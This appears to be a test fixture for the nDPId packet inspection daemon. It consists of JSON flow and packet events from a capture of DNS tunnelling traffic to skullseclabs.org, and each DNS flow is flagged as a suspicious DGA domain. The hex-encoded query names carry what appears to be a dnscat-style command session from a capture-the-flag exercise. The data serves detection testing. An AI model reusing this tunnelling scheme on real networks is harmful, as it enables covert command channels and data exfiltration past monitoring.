name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"b11c01a621c362010a.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":16,"rsp_type":16,"rsp_addr":"0.0.0.0"}} +00513{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012625,"pkt_ts_usec":434289,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"5LMYS\/DDAhoR+f4qCABFAABwAABAADMRVXQEAgIEwKgrWwA1jH4AXFDmopSBgAABAAEAAAAAEmIxMWMwMWE2MjFjMzYyMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAQAAHADAAQAAEAAAA8ABMSZTE0MDAxYTYyMTAxMGFjMzYy"} +00471{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012626,"pkt_ts_usec":390267,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR9a9AAEARUuPAqCtbBAICBIx+ADUAPeaXV2gBAAABAAAAAAAAEjBhYjgwMWE2MjFjMzYyMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAFAAE="} +00517{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012626,"pkt_ts_usec":493531,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"5LMYS\/DDAhoR+f4qCABFAAByAABAADMRVXIEAgIEwKgrWwA1jH4AXiCIV2iBgAABAAEAAAAAEjBhYjgwMWE2MjFjMzYyMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAFAAHADAAFAAEAAAA8ABUSMGUzZDAxYTYyMTAxMGFjMzYywB8="} +00473{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012627,"pkt_ts_usec":398898,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR9gVAAEARUo3AqCtbBAICBIx+ADUAPanQuVgBAAABAAAAAAAAEjc3MjMwMWE2MjFjMzYyMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAPAAE="} +00523{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012627,"pkt_ts_usec":473940,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"5LMYS\/DDAhoR+f4qCABFAAB0AABAADMRVXAEAgIEwKgrWwA1jH4AYJvzuViBgAABAAEAAAAAEjc3MjMwMWE2MjFjMzYyMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAPAAHADAAPAAEAAAA8ABcAChJkMDFiMDFhNjIxMDEwYWMzNjLAHw=="} +00608{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012628,"pkt_ts_usec":443874,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"AhoR+f4q5LMYS\/DDCABFAAC09opAAEARUaXAqCtbBAICBIx+ADUAoBwVmRMBAAABAAAAAAAAPGI3M2YwMWE2MjFjMzYyMDEwYTU3NjU2YzYzNmY2ZDY1MjA3NDZmMjA2NDZlNzM2MzYxNzAyMTIwNTQ2ODg2NTIwNjY2YzYxNjcyMDY5NzMyMDYyNjU2YzZmNzcyYzIwNjg2MTc2NjUyMDY2NzU2ZTIxMjEwYQxza3VsbHNlY2xhYnMDb3JnAAAPAAE="} +00656{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012628,"pkt_ts_usec":521830,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"5LMYS\/DDAhoR+f4qCABFAADXAABAADMRVQ0EAgIEwKgrWwA1jH4Awx2PmROBgAABAAEAAAAAPGI3M2YwMWE2MjFjMzYyMDEwYTU3NjU2YzYzNmY2ZDY1MjA3NDZmMjA2NDZlNzM2MzYxNzAyMTIwNTQ2ODg2NTIwNjY2YzYxNjcyMDY5NzMyMDYyNjU2YzZmNzcyYzIwNjg2MTc2NjUyMDY2NzU2ZTIxMjEwYQxza3VsbHNlY2xhYnMDb3JnAAAPAAHADAAPAAEAAAA8ABcAChJhZWIxMDFhNjIxMDEwYWMzOTPAgg=="} +00473{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012628,"pkt_ts_usec":522162,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR9pxAAEARUfbAqCtbBAICBIx+ADUAPTyE+j4BAAABAAAAAAAAEmYxZmQwMWE2MjFjMzkzMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAPAAE="} +00523{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012628,"pkt_ts_usec":571529,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"5LMYS\/DDAhoR+f4qCABFAAB0AABAADMRVXAEAgIEwKgrWwA1jH4AYCrM+j6BgAABAAEAAAAAEmYxZmQwMWE2MjFjMzkzMDEwYQxza3VsbHNlY2xhYnMDb3JnAAAPAAHADAAPAAEAAAA8ABcAChI1NWE3MDFhNjIxMDEwYWMzOTPAHw=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1486012635073,"flow_last_seen":0,"flow_tot_l4_data_len":99,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":56354,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012635,"pkt_ts_usec":73060,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AhoR+f4q5LMYS\/DDCABFAAB3+zhAAEARTTTAqCtbBAICBNwiADUAYwrvCk0BAAABAAAAAAAAODI0NDMwMGZkZjUyNTMyMDAyMTYzNmY2ZDZkNjE2ZTY0MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAA8AAQ=="} +00745{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1486012635073,"flow_last_seen":0,"flow_tot_l4_data_len":99,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":56354,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"244300fdf525320021636f6d6d616e64202873697276696d65732900.skullseclabs.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":15,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00525{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012636,"pkt_ts_usec":79520,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AhoR+f4q5LMYS\/DDCABFAAB3+7NAAEARTLnAqCtbBAICBNwiADUAY1S7n3sBAAABAAAAAAAAODZiNTAwMGZkZjUyNTMyMDAyMTYzNmY2ZDZkNjE2ZTY0MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAAUAAQ=="} +00765{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":21,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1486012635073,"flow_last_seen":1486012636079,"flow_tot_l4_data_len":198,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":56354,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"6b5000fdf525320021636f6d6d616e64202873697276696d65732900.skullseclabs.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":5,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00526{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012637,"pkt_ts_usec":85359,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AhoR+f4q5LMYS\/DDCABFAAB3\/ElAAEARTCPAqCtbBAICBNwiADUAY0RMqrgBAAABAAAAAAAAOGUxOGYwMGZkZjUyNTMyMDAyMTYzNmY2ZDZkNjE2ZTY0MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAAUAAQ=="} +00765{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":22,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_first_seen":1486012635073,"flow_last_seen":1486012637085,"flow_tot_l4_data_len":297,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":56354,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e18f00fdf525320021636f6d6d616e64202873697276696d65732900.skullseclabs.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":5,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00526{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012638,"pkt_ts_usec":93433,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AhoR+f4q5LMYS\/DDCABFAAB3\/K5AAEARS77AqCtbBAICBNwiADUAY1PDy0gBAAABAAAAAAAAODQ2YjEwMGZkZjUyNTMyMDAyMTYzNmY2ZDZkNjE2ZTY0MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAAUAAQ=="} +00765{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":23,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1486012635073,"flow_last_seen":1486012638093,"flow_tot_l4_data_len":396,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":56354,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"46b100fdf525320021636f6d6d616e64202873697276696d65732900.skullseclabs.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":5,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00528{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012639,"pkt_ts_usec":101974,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AhoR+f4q5LMYS\/DDCABFAAB3\/ZNAAEARStnAqCtbBAICBNwiADUAY\/RRFrgBAAABAAAAAAAAOGM3NTkwMGZkZjUyNTMyMDAyMTYzNmY2ZDZkNjE2ZTY0MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAABAAAQ=="} +00766{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":24,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":5,"flow_first_seen":1486012635073,"flow_last_seen":1486012639101,"flow_tot_l4_data_len":495,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":56354,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"c75900fdf525320021636f6d6d616e64202873697276696d65732900.skullseclabs.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":16,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00567{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012639,"pkt_ts_usec":174914,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"5LMYS\/DDAhoR+f4qCABFAACWAABAADMRVU4EAgIEwKgrWwA13CIAgtZjFriBgAABAAEAAAAAOGM3NTkwMGZkZjUyNTMyMDAyMTYzNmY2ZDZkNjE2ZTY0MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAABAAAcAMABAAAQAAADwAExI2ZTE3MDBmZGY1NDE3ZDAwMDA="} +00769{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":25,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1486012635073,"flow_last_seen":1486012639174,"flow_tot_l4_data_len":625,"flow_min_l4_data_len":99,"flow_max_l4_data_len":130,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":56354,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"c75900fdf525320021636f6d6d616e64202873697276696d65732900.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":16,"rsp_type":16,"rsp_addr":"0.0.0.0"}} +00473{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012639,"pkt_ts_usec":175147,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR\/aBAAEARSvLAqCtbBAICBNwiADUAPVKHMO0BAAABAAAAAAAAEjJhN2IwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAPAAE="} +00522{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012639,"pkt_ts_usec":238003,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"5LMYS\/DDAhoR+f4qCABFAAB0AABAADMRVXAEAgIEwKgrWwA13CIAYAA+MO2BgAABAAEAAAAAEjJhN2IwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAPAAHADAAPAAEAAAA8ABcAChJjZWZiMDFmZGY1NDE3ZDI1MzLAHw=="} +00473{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012640,"pkt_ts_usec":199072,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR\/oFAAEARShHAqCtbBAICBNwiADUAPZ+EE+4BAAABAAAAAAAAEjM4OGUwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAFAAE="} +00474{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012641,"pkt_ts_usec":205738,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR\/3pAAEARSRjAqCtbBAICBNwiADUAPRScyK4BAAABAAAAAAAAEjA4YzAwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAQAAE="} +00515{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012641,"pkt_ts_usec":318910,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"5LMYS\/DDAhoR+f4qCABFAABwAABAADMRVXQEAgIEwKgrWwA13CIAXMSoyK6BgAABAAEAAAAAEjA4YzAwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAQAAHADAAQAAEAAAA8ABMSYjQyZTAxZmRmNTQxN2QyNTMy"} +00474{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012642,"pkt_ts_usec":224493,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABR\/69AAEARSOPAqCtbBAICBNwiADUAPWEvi0IBAAABAAAAAAAAEjUwNzQwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAFAAE="} +00519{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012642,"pkt_ts_usec":281373,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"5LMYS\/DDAhoR+f4qCABFAAByAABAADMRVXIEAgIEwKgrWwA13CIAXlbsi0KBgAABAAEAAAAAEjUwNzQwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAFAAHADAAFAAEAAAA8ABUSYWM2YjAxZmRmNTQxN2QyNTMywB8="} +00473{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012643,"pkt_ts_usec":238555,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABRAC9AAEARSGTAqCtbBAICBNwiADUAPaQHCm0BAAABAAAAAAAAEjc2MmIwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAPAAE="} +00523{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012643,"pkt_ts_usec":293987,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"5LMYS\/DDAhoR+f4qCABFAAB0AABAADMRVXAEAgIEwKgrWwA13CIAYLAaCm2BgAABAAEAAAAAEjc2MmIwMWZkZjUyNTMyNDE3ZAxza3VsbHNlY2xhYnMDb3JnAAAPAAHADAAPAAEAAAA8ABcAChIyOTkyMDFmZGY1NDE3ZDI1MzLAHw=="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":274,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":255,"flow_first_seen":1486012635073,"flow_last_seen":1486012691087,"flow_tot_l4_data_len":63345,"flow_min_l4_data_len":61,"flow_max_l4_data_len":291,"flow_avg_l4_data_len":248,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":56354,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"c75900fdf525320021636f6d6d616e64202873697276696d65732900.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":16,"rsp_type":16,"rsp_addr":"0.0.0.0"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":369,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1486012730177,"flow_last_seen":0,"flow_tot_l4_data_len":99,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":46961,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012730,"pkt_ts_usec":177697,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AhoR+f4q5LMYS\/DDCABFAAB3Lk5AAEARGh\/AqCtbBAICBLdxADUAYz49\/HsBAAABAAAAAAAAOGEwNTcwMGU2ZGE4MzUxMDAwMTYzNmY2ZTczNmY2YzY1MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAA8AAQ=="} +00746{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":369,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1486012730177,"flow_last_seen":0,"flow_tot_l4_data_len":99,"flow_min_l4_data_len":99,"flow_max_l4_data_len":99,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":46961,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"a05700e6da83510001636f6e736f6c65202873697276696d65732900.skullseclabs.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":15,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00573{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012730,"pkt_ts_usec":381593,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"5LMYS\/DDAhoR+f4qCABFAACaAABAADMRVUoEAgIEwKgrWwA1t3EAhvb+\/HuBgAABAAEAAAAAOGEwNTcwMGU2ZGE4MzUxMDAwMTYzNmY2ZTczNmY2YzY1MjAyODczNjk3Mjc2Njk2ZDY1NzMyOTAwDHNrdWxsc2VjbGFicwNvcmcAAA8AAcAMAA8AAQAAADwAFwAKEmRlNjkwMGU2ZGE2ZWEyMDAwMMBF"} +00770{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":370,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_first_seen":1486012730177,"flow_last_seen":1486012730381,"flow_tot_l4_data_len":233,"flow_min_l4_data_len":99,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":116,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":46961,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"a05700e6da83510001636f6e736f6c65202873697276696d65732900.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":15,"rsp_addr":"0.0.0.0"}} +00473{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012730,"pkt_ts_usec":381905,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABRLntAAEARGhjAqCtbBAICBLdxADUAPY6IeT8BAAABAAAAAAAAEmI1NDEwMWU2ZGE4MzUxNmVhMgxza3VsbHNlY2xhYnMDb3JnAAAPAAE="} +00731{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":371,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_first_seen":1486012730177,"flow_last_seen":1486012730381,"flow_tot_l4_data_len":294,"flow_min_l4_data_len":61,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":46961,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"b54101e6da83516ea2.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":15,"rsp_addr":"0.0.0.0"}} 